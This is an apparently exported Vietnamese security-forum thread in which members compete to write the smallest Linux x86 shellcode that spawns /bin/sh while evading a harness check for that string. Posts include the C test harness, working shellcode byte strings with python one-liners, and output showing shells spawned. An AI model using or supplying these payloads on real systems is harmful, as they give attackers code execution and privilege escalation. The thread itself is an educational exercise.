<![CDATA[Latest posts for the topic "[ Thảo luận ] - Về Shellcode trên linux"]]> /hvaonline/posts/list/24.html JForum - http://www.jforum.net [ Thảo luận ] - Về Shellcode trên linux Code:
/* testshell.c */
#include <stdio.h>
#include <string.h>
#define bufsz 100
const char msg[]="Usage: %s <shellcode file>\n";
static char buffer1[bufsz];
static char buffer2[bufsz];
void usage(char *self)
{
        printf(msg, self);
        exit(1);
}

int main(int argc, char *argv[])
{
        FILE *fp;
        void (*funcptr)();
        if (argc != 2) usage(argv[0]);
        if ((fp=fopen(argv[1], "rb"))==NULL) {
                printf("fail to open file: %s\n", argv[1]);
                exit(1);
        }
        fgets(buffer1, bufsz, fp);
        fclose(fp);
        strcpy(buffer2, buffer1);/* your shellcode should not contain 0x0*/
        if (strlen(buffer2)>=50) /* your shellcode should be less than 40 bytes */
                printf("your shellcode is too long! 5 points penalty \n");
        if (strlen(buffer2)<30)  /* the shorter, the better the shell code is */
                printf("your shellcode is less than 30 bytes! 10 bonus points\n");
	if (strstr(buffer2, "/bin/sh"))
		printf("Malicious code detected! 15 points penalty \n");
	funcptr = (void *) buffer2;
	(*funcptr)();  /* execute your shell code */
	return 0 ;
}
Nhiệm vụ của mình là phải thiết kế một binary file chứa shellcode sao cho: 1. Shellcode phải work. Và phải spawn /bin/sh (không chơi shell khác ) 2. Shellcode phải nhỏ. Càng nhỏ càng tốt. 3. Shellcode phải né string /bin/sh vì chương trình testshell sẽ kiểm tra string đó. Các bạn thử viết một cái shellcode thỏa mãn các điều kiện trên xem? Và size nhỏ nhất là bao nhiêu? Các bạn dùng cách nào để có được size nhỏ như vây? Thông tin thêm về gcc: Code:
$  gcc -v
Reading specs from /usr/lib/gcc-lib/i386-slackware-linux/3.2.2/specs
Configured with: ../gcc-3.2.2/configure --prefix=/usr --enable-shared --enable-threads=posix --enable-__cxa_atexit --disable-checking --with-gnu-ld --verbose --target=i386-slackware-linux --host=i386-slackware-linux
Thread model: posix
gcc version 3.2.2
khoai]]>
/hvaonline/posts/list/25139.html#152172 /hvaonline/posts/list/25139.html#152172 GMT
Re: [ Thảo luận ] - Về Shellcode trên linux Code:
python -c 'print "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' >input
rồi chạy Code:
./testshell input
PS: strlen(shellcode >30) && strlen(shellcode <50) thì ko được point nào ?? :-/ ]]>
/hvaonline/posts/list/25139.html#152189 /hvaonline/posts/list/25139.html#152189 GMT
Re: [ Thảo luận ] - Về Shellcode trên linux Code:
python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' >sh3llc0d3
Code:
./testshell sh3llc0d3
your shellcode is less than 30 bytes! 10 bonus points
$
]]>
/hvaonline/posts/list/25139.html#152201 /hvaonline/posts/list/25139.html#152201 GMT
Re: [ Thảo luận ] - Về Shellcode trên linux /hvaonline/posts/list/25139.html#152206 /hvaonline/posts/list/25139.html#152206 GMT Re: [ Thảo luận ] - Về Shellcode trên linux /hvaonline/posts/list/25139.html#152239 /hvaonline/posts/list/25139.html#152239 GMT Re: [ Thảo luận ] - Về Shellcode trên linux /hvaonline/posts/list/25139.html#152262 /hvaonline/posts/list/25139.html#152262 GMT Re: [ Thảo luận ] - Về Shellcode trên linux /hvaonline/posts/list/25139.html#152311 /hvaonline/posts/list/25139.html#152311 GMT Re: [ Thảo luận ] - Về Shellcode trên linux

Mr.Khoai wrote:
anh mrro, "Bài" này không giới hạn độ dài tối đa ở 30 bytes. Cái khoai đang tìm là một shellcode thật nhỏ. Nhỏ nhất là bao nhiêu thì khoai không biết. Nhưng khoai đã mò được một cái chỉ với 16 bytes, spawn /bin/sh và không bị la lên là "malicious code detected" Cognac, Ủa, cứ tưởng code asm là của bồ viết chứ, sao lại bảo khoai chuyển từ shellcode qua assembly? to all, Bài này làm chơi cho vui. Đừng vướng vào lối mòn khi suy nghĩ. Nghĩ thoáng một chút sẽ tìm được một con shellcode hiệu quả mà kích thước lại nhỏ khoai 
nói chơi một câu mà khó chịu vậy bồ :). Thực tế spawshell trong trường hợp này thì chắc hẳn là bạn khai thác kiểu "local exploit" chứ ko phải "remote exploit" nên thay vì chúng ta mất 10 byte để push chuỗi /bin/sh, thì cất chuỗi đó trong biến môi trường rồi push vào, tiết kiệm được 5 byte. Bồ có chịu kiểu này ko? :)]]>
/hvaonline/posts/list/25139.html#152478 /hvaonline/posts/list/25139.html#152478 GMT
Re: [ Thảo luận ] - Về Shellcode trên linux /hvaonline/posts/list/25139.html#152484 /hvaonline/posts/list/25139.html#152484 GMT Re: [ Thảo luận ] - Về Shellcode trên linux /hvaonline/posts/list/25139.html#152590 /hvaonline/posts/list/25139.html#152590 GMT Re: [ Thảo luận ] - Về Shellcode trên linux /hvaonline/posts/list/25139.html#152595 /hvaonline/posts/list/25139.html#152595 GMT Re: [ Thảo luận ] - Về Shellcode trên linux Code:
$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-slackware-linux/3.2.2/specs
Configured with: ../gcc-3.2.2/configure --prefix=/usr --enable-shared --enable-threads=posix --enable-__cxa_atexit --disable-checking --with-gnu-ld --verbose --target=i386-slackware-linux --host=i386-slackware-linux
Thread model: posix
gcc version 3.2.2
$ gcc -o testshell1 -fpic -g testshell.c 
$ ./testshell1 SC1
your shellcode is less than 30 bytes! 10 bonus points
sh-2.05b$
SC1 vẫn sử dụng string /bin/sh trong testsh chứ không push string đó lên stack. Thử tiếp với ASLR thì SC1 vẫn work. Lý do: Đã nói cái này không phải là exploit, đơn giản là một bài tập thiết kế shellcode. Các protection mechanism có ứng dụng cũng chưa chắc có hiệu quả: Code:
$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 1
$ gcc -fpic -o testshell -g testshell.c
$ ./testshell SC1
your shellcode is less than 30 bytes! 10 bonus points
sh-2.05b$
Thử build lại với gcc 4.1.2 thì lại khác. SC1 bị segfault. Nhưng cũng may mắn mò được một cách khác tạo ra được một shellcode nhỏ hơn (15 bytes). Vẫn sử dụng string /bin/sh trong testshell, nhưng do gcc khác version khiến cho vị trí của string này trong stack "thuận tiện" khi sử dụng. khoai sẽ report cụ thể các shell code sau. stager và egghunter thì lần đầu tiên khoai nghe nói. Thanks anh mrro, sẽ xem qua về hai anh này. khoai ]]>
/hvaonline/posts/list/25139.html#152601 /hvaonline/posts/list/25139.html#152601 GMT
Re: [ Thảo luận ] - Về Shellcode trên linux /hvaonline/posts/list/25139.html#152641 /hvaonline/posts/list/25139.html#152641 GMT